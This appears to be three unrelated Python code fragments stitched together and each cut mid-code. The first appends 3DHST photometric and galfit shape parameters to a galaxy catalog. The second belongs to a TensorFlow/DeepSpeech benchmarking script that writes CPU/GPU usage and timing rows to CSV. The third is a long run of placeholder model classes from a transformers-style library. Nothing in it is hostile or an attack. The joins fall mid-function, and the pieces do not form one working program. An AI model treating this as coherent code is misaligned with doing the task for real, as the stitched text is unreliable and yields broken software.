present in the master catalog: kron_radius, a_image, b_image.
TODO: Speed it up
"""
if self.has_unique_sim_ids:
print("You can not append photcat parameters after the IDs \n"
" have been adjusted. ")
return
if self.photcat_params_appended:
print("Photcat parameters already appended. Doing nothing.")
return
if verbose:
print(f"Appending photcat parameters (a,b,kron_radius)...")
# Load the 3DHST photcat
photcatfilename = os.path.join(datadir, photcatfile)
photcat = Table.read(photcatfilename)
# adjust the photcat 'id' and 'field' columns to match the mastercat
idcol = Column(name='id', data=photcat['id'], dtype=int)
photcat.remove_columns(['id'])
photcat.add_column(idcol, index=0)
for i in range(len(photcat)):
photcat['field'][i] = str.lower(photcat['field'][i]).replace('-','')
# Extract just the columns of interest from the photcat
photcatsubset = photcat[['field','id','a_image','b_image','kron_radius']]
# Join the two tables
self.mastercat = table.join(self.mastercat, photcatsubset,
keys=['field', 'id'])
# Add a new column that approximates the FWHM of each galaxy, using
# the kron_radius * semiminor axis.
fwhmvals = 2 * (self.mastercat['a_image'] + self.mastercat['b_image'])
# ALTERNATE FWHM APPROXIMATION :
# fwhmvals = self.mastercat['kron_radius'] * self.mastercat['b_image']
fwhmcol = Column(name='fwhm', data=fwhmvals)
self.mastercat.add_column(fwhmcol)
self.photcat_params_appended = True
if verbose:
print(f"photcat parameters appended for each galaxy.")
print(f"length of mastercat = {len(self.mastercat):d}")
return
def append_galfit_params(self,
datadir = __3DHST_DATADIR__,
galfitfile_rootname = __3DHST_GALFIT_ROOTNAME__,
verbose=__VERBOSE__):
"""Read in the galfit info and append columns that provide useful
shape info: re, n, q, and pa
Default uses the 3DHST galfit catalogs produced by <NAME>:
https://www2.mpia-hd.mpg.de/homes/vdwel/3dhstcandels.html
Parameters:
select_clean :: bool
If True, remove any galaxy from the master catalog that does not
have a galfit result (flag==3 and therefore missing n)
TODO: allow for higher levels of cleaning, like remove flag==2?
"""
if self.has_unique_sim_ids:
print("You can not append galfit parameters after the IDs \n"
" have been adjusted. ")
return
if self.galfit_params_appended:
print("Galfit parameters already appended. Doing nothing.")
return
if verbose:
print(f"Appending galfit parameters (re,n,q,pa)...")
# Load the 3DHST galfit catalogs, field by field
galfitcat = None
for field in ['goodss', 'goodsn', 'uds', 'aegis', 'cosmos']:
galfitfilename = os.path.join(
datadir, f'{field}' + galfitfile_rootname)
fieldcat = Table.read(galfitfilename,
format='ascii.commented_header')
fieldcat.rename_column('NUMBER', | |
profile_sum_file.write(",")
profile_sum_file.write("GPU" + str(GPU_number))
profile_sum_file.write("\n")
for GPU_number in range(0, maximum_GPU_number):
if GPU_number != 0:
profile_sum_file.write(",")
profile_sum_file.write(str(gpu_sum_data["GPU" + str(GPU_number)]))
profile_sum_file.write("\n")
profile_sum_file.close()
profile_file_name = os.path.join("tf_csvs", "profile_" + gpu_type.replace(" ", "-") + "_" + str(
gpu_number) + "_" + configuration_path + "_" + experiment_path + "_" + str(local_starting_timestamp) + ".pdf")
if os.path.exists(profile_file_name_cpu) and os.path.exists(profile_file_name_gpu) and not os.path.exists(
profile_file_name):
create_graph_command = os.path.join(abs_root, "pytorch",
"generate_profile_graph.py") + " -c" + profile_file_name_cpu + " -g" + profile_file_name_gpu + " -o" + profile_file_name + " -s" + repetition_path + " -t" + overall_execution_time
if end_information:
create_graph_command = create_graph_command + " -i" + iteration_file_name
if debug:
create_graph_command = create_graph_command + " -d"
logging.debug("Executing %s", create_graph_command)
create_graph_return_value = subprocess.call(create_graph_command, shell=True, executable="/bin/bash")
if create_graph_return_value != 0:
logging.error("Error in analyzing result of %s", repetition_path)
sys.exit(-1)
network_type = xml_configuration["network_type"]
batch_size = xml_configuration["train_batch_size"]
epochs_number = xml_configuration["epochs_number"]
computed_iterations_number = int(xml_configuration.get("iteration_number"))
if not computed_iterations_number:
computed_iterations_number = str(int(training_files_number) * int(epochs_number) / int(batch_size))
tf_version = xml_configuration.get("tensorflow_version")
if not tf_version:
tf_version = "unknow"
j = xml_configuration.get("j")
if not j:
j = "4"
# Retrieving mac address
for line in hw_configuration:
if line.find("serial: ") != -1:
mac_address = line.split()[1]
if mac_address == "":
logging.error("mac address not found")
sys.exit(1)
# Retrieving machine information
# Add host_scripts to the directories for python packages search
host_scripts_path = os.path.join(abs_root, "..", "host_scripts")
sys.path.append(host_scripts_path)
collect_data_package = __import__("collect_data")
machine_information = collect_data_package.get_machine_information(mac_address)
if xml_configuration.get("system_UUID"):
system_uuid = xml_configuration.get("system_UUID")
else:
system_uuid = machine_information["system_uuid"]
machine_name = machine_information["machine_name"]
disk_speed = machine_information["disk_speed"]
gflops = machine_information["gflops"]
profile = xml_configuration.get("profile")
if not profile or not os.path.exists(profile_file_name_sum_cpu) or not os.path.exists(
profile_file_name_sum_gpu):
profile = "NaN"
CPU_usage = "NaN"
average_CPU_usage = "NaN"
GPU_usage = "NaN"
average_GPU_usage = "NaN"
usage_ratio = "NaN"
else:
CPU_usage = 0.0
GPU_usage = 0.0
cpu_row_1 = linecache.getline(profile_file_name_sum_cpu, 2)
split = cpu_row_1.split(",")
for token in split:
CPU_usage = CPU_usage + float(token.replace("\n", ""))
average_CPU_usage = CPU_usage / float(overall_execution_time)
gpu_row_1 = linecache.getline(profile_file_name_sum_gpu, 2)
split = gpu_row_1.split(",")
for token in split:
GPU_usage = GPU_usage + float(token.replace("\n", ""))
average_GPU_usage = GPU_usage / float(overall_execution_time)
usage_ratio = CPU_usage / GPU_usage
# Computing the values of fractions of this experiment
iteration_number_fractions = {}
# data_time_fractions = {}
training_time_fractions = {}
if iteration_fractions:
current_iteration = 0
# current_aggregated_data_time = 0.0
current_aggregated_training_time = 0.0
iteration_fractions_index = 0
current_iterations_fraction_number = int(
round(iterations_number * iteration_fractions[iteration_fractions_index]))
iteration_number_fractions[
iteration_fractions[iteration_fractions_index]] = current_iterations_fraction_number
for line in open(iteration_file_name):
if line.find("Training,") != -1:
current_iteration = current_iteration + 1
split = line.split(",")
# current_date_time = float(split[3])
current_training_time = float(split[4])
# current_aggregated_data_time = current_aggregated_data_time + current_date_time
current_aggregated_training_time = current_aggregated_training_time + current_training_time
if current_iteration == current_iterations_fraction_number:
# data_time_fractions[
# iteration_fractions[iteration_fractions_index]] = current_aggregated_data_time
training_time_fractions[
iteration_fractions[iteration_fractions_index]] = current_aggregated_training_time
iteration_fractions_index = iteration_fractions_index + 1
if iteration_fractions_index < len(iteration_fractions):
current_iterations_fraction_number = int(
round(iterations_number * iteration_fractions[iteration_fractions_index]))
iteration_number_fractions[
iteration_fractions[iteration_fractions_index]] = current_iterations_fraction_number
else:
break
for iteration_fraction in iteration_fractions:
if iteration_fraction not in training_time_fractions:
continue
iteration_number_fraction = iteration_number_fractions[iteration_fraction]
epochs_number_fraction = str(float(epochs_number) * iteration_fraction)
# data_time_fraction = data_time_fractions[iteration_fraction]
data_time_fraction = "NaN"
training_time_fraction = training_time_fractions[iteration_fraction]
csv_file.write(
str(local_starting_timestamp) + "," + local_starting_time + "," + tf_version + "," + system_uuid + "," + mac_address + "," + machine_name + "," + gpu_type + "," + gflops + "," + disk_speed + "," + str(gpu_number) + "," + network_type + "," + n_hidden_layer + "," + "NaN" + "," + batch_size + "," + str(iteration_fraction) + "," + str(iteration_number_fraction) + "," + str(float(computed_iterations_number) * iteration_fraction) + ",0," + epochs_number_fraction + "," + j + "," +
profile + "," +
"NaN" + "," + #CPU_usage
"NaN" + "," + #average_CPU usage
"NaN" + "," + #GPU_usage
"NaN" + "," + #average_GPU usage
"NaN" + "," + #usage ratio
"0" + "," + #only_load
"0" + "," + #overlapped
str(data_time_fraction) + "," + str(training_time_fraction) + ",NaN,NaN,NaN," + repetition_number + "," + repetition_path + "\n")
if iteration_number_fraction > skipped_initial_iterations:
csv_file.write(str(local_starting_timestamp) + "," + local_starting_time + "," + tf_version + "," + system_uuid + "," + mac_address + "," + machine_name + "," + gpu_type + "," + gflops + "," + disk_speed + "," + str(gpu_number) + "," + network_type + "," + n_hidden_layer + "," + "NaN" + "," + batch_size + "," + str(iteration_fraction) + "," + str(iteration_number_fraction - skipped_initial_iterations) + "," + str(float(computed_iterations_number) * iteration_fraction - skipped_initial_iterations) + "," + str(skipped_initial_iterations) + "," + epochs_number_fraction + "," + j + "," +
profile + "," +
"NaN" + "," + #CPU_usage
"NaN" + "," + #average_CPU usage
"NaN" + "," + #GPU_usage
"NaN" + "," + #average_GPU usage
"NaN" + "," + #usage ratio
"0" + "," + #only_load
"0" + "," + #overlapped
"NaN" + "," + #data time
str(training_time_fraction - initial_training_time) + ",NaN,NaN,NaN," + repetition_number + "," + repetition_path + "\n")
# Writing full experiment data
csv_file.write(
str(local_starting_timestamp) + "," +
local_starting_time + "," +
tf_version + "," +
system_uuid + "," +
mac_address + "," +
machine_name + "," +
gpu_type + "," +
gflops + "," +
disk_speed + "," +
str(gpu_number) + "," +
network_type + "," +
n_hidden_layer + "," +
"NaN" + "," +
batch_size + "," +
"1.0" + "," +
str(iterations_number) + "," +
str(computed_iterations_number) + "," +
"0" + "," +
epochs_number + "," +
j + "," +
profile + "," +
str(CPU_usage) + ","+
str(average_CPU_usage) + "," +
str(GPU_usage) + "," +
str(average_GPU_usage) + "," +
str(usage_ratio) + "," +
"0" + "," +
"0" + "," +
"NaN" + "," +
str(training_time) + "," +
"NaN" + "," +
overall_execution_time + "," +
"NaN" + "," +
repetition_number + "," +
repetition_path + "\n")
if iterations_number > skipped_initial_iterations:
csv_file.write(str(local_starting_timestamp) + "," + local_starting_time + "," + tf_version + "," + system_uuid + "," + mac_address + "," + machine_name + "," + gpu_type + "," + gflops + "," + disk_speed + "," + str(gpu_number) + "," + network_type + "," + n_hidden_layer + "," + "NaN" + "," + batch_size + ",1.0," + str(iterations_number - skipped_initial_iterations) + "," + str(float(computed_iterations_number) - skipped_initial_iterations) + "," + str(skipped_initial_iterations) + "," + epochs_number + "," + j + "," +
profile + "," +
str(CPU_usage) + "," +
str(average_CPU_usage) + "," +
str(GPU_usage) + "," +
str(average_GPU_usage) + "," +
str(usage_ratio) + "," +
"0" + "," + #only_load
"0" + "," + #overlapped
"NaN" + "," + #data time
str(training_time - initial_training_time) + "," + "NaN" + "," + overall_execution_time + "," + "NaN" +"," + repetition_number + "," + repetition_path + "\n")
csv_file.close()
except:
logging.error("Error in analyzing result of %s", repetition_path)
raise
if __name__ == '__main__':
import tensorflow as tf
# Parsing input arguments
args = parse_arguments()
# Initializing logger
configure_logger(args.debug)
# Root tree node
config = compute_configuration(args.parameters)
target_folder = config["target_folder"]
# Validating the configuration
validate_configuration(config)
# Creating the experiment directories (if not exist)
target_folder = config["target_folder"]
#target_path = target_folder["path_target"]
#tfrecord_path_base = config["input_classes"]["tfrecords_path"]
create_target_path(target_folder)
# Syncing the files
# synch_files(config["target_folder"])
import_script = config["target_folder"]["import_script"]
script_name = import_script.split("/")[-1]
train_size = int(config["target_folder"][script_name]["maxtrain"])
# Computing number of iterations
config["iteration_number"] = int(int(config["epochs_number"]) * train_size / int(config["train_batch_size"])) + 1
# Adding tensorflow version
config["tensorflow_version"] = tf.__dict__['VERSION'] or tf.__dict__['__version__'] or "1.8.0"
# Dump configuration in xml
generated_xml = dump_conf(config)
#If the number of gpus is specified, uses it, otherwise leave default (all gpus will be used)
gpus_number = config.get("gpus_number")
if gpus_number is None:
export_gpus_command = ""
else:
export_gpus_command = "CUDA_VISIBLE_DEVICES=" + ",".join(str(gpu) for gpu in list(range(0, int(gpus_number)))) + " "
#sys.path.append(os.path.join(abs_root, "tf_deepspeech", "deepspeech"))
#from util.gpu import get_available_gpus
#print("--------------------------AVAILABLE GPUS: " + str(get_available_gpus()))
if gpus_number is None:
num_gpus = get_available_gpus()
else:
num_gpus = int(gpus_number)
logging.info("AVAILABLE GPUS: " + str(num_gpus))
computed_train_batch_size = int(round(int(config["train_batch_size"])/num_gpus))
logging.info("train batch size config: " + str(config["train_batch_size"]))
logging.info("train batch size final: " + str(computed_train_batch_size))
#computed_train_batch_size = math.floor(computed_train_batch_size)
if int(computed_train_batch_size) == 0:
computed_train_batch_size=1
home = expanduser("~")
# Perform the actual nn training
deepspeech_script="DeepSpeech.py"
deepspeech_command = "{} python3 -u {} " \
"--train_files {} " \
"--dev_files {} " \
"--test_files {} " \
"--train_batch_size {} " \
"--dev_batch_size {} " \
| |
None
class IBertForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class IBertForMultipleChoice(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class IBertForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class IBertForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class IBertForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class IBertModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class IBertPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
IMAGEGPT_PRETRAINED_MODEL_ARCHIVE_LIST = None
class ImageGPTForCausalImageModeling(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class ImageGPTForImageClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class ImageGPTModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class ImageGPTPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
def load_tf_weights_in_imagegpt(*args, **kwargs):
requires_backends(load_tf_weights_in_imagegpt, ["torch"])
LAYOUTLM_PRETRAINED_MODEL_ARCHIVE_LIST = None
class LayoutLMForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
LAYOUTLMV2_PRETRAINED_MODEL_ARCHIVE_LIST = None
class LayoutLMv2ForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMv2ForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMv2ForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMv2Model(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LayoutLMv2PreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
LED_PRETRAINED_MODEL_ARCHIVE_LIST = None
class LEDForConditionalGeneration(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LEDForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LEDForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LEDModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LEDPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
LONGFORMER_PRETRAINED_MODEL_ARCHIVE_LIST = None
class LongformerForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerForMultipleChoice(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LongformerSelfAttention(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
LUKE_PRETRAINED_MODEL_ARCHIVE_LIST = None
class LukeForEntityClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LukeForEntityPairClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LukeForEntitySpanClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LukeForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LukeModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LukePreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertEncoder(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertForPreTraining(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertVisualFeatureEncoder(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class LxmertXLayer(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
M2M_100_PRETRAINED_MODEL_ARCHIVE_LIST = None
class M2M100ForConditionalGeneration(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class M2M100Model(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class M2M100PreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MarianForCausalLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MarianModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MarianMTModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MBartForCausalLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MBartForConditionalGeneration(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MBartForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MBartForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MBartModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MBartPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
MEGATRON_BERT_PRETRAINED_MODEL_ARCHIVE_LIST = None
class MegatronBertForCausalLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForMultipleChoice(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForNextSentencePrediction(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForPreTraining(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MegatronBertPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MMBTForClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MMBTModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class ModalEmbeddings(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
MOBILEBERT_PRETRAINED_MODEL_ARCHIVE_LIST = None
class MobileBertForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertForMultipleChoice(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertForNextSentencePrediction(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertForPreTraining(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertLayer(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MobileBertPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
def load_tf_weights_in_mobilebert(*args, **kwargs):
requires_backends(load_tf_weights_in_mobilebert, ["torch"])
MPNET_PRETRAINED_MODEL_ARCHIVE_LIST = None
class MPNetForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetForMultipleChoice(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetLayer(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MPNetPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MT5EncoderModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MT5ForConditionalGeneration(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class MT5Model(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
NYSTROMFORMER_PRETRAINED_MODEL_ARCHIVE_LIST = None
class NystromformerForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerForMultipleChoice(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerForQuestionAnswering(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerForTokenClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerLayer(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class NystromformerPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
OPENAI_GPT_PRETRAINED_MODEL_ARCHIVE_LIST = None
class OpenAIGPTDoubleHeadsModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class OpenAIGPTForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class OpenAIGPTLMHeadModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class OpenAIGPTModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class OpenAIGPTPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
def load_tf_weights_in_openai_gpt(*args, **kwargs):
requires_backends(load_tf_weights_in_openai_gpt, ["torch"])
class PegasusForCausalLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PegasusForConditionalGeneration(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PegasusModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PegasusPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
PERCEIVER_PRETRAINED_MODEL_ARCHIVE_LIST = None
class PerceiverForImageClassificationConvProcessing(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverForImageClassificationFourier(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverForImageClassificationLearned(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverForMaskedLM(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverForMultimodalAutoencoding(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverForOpticalFlow(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverForSequenceClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverLayer(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PerceiverPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
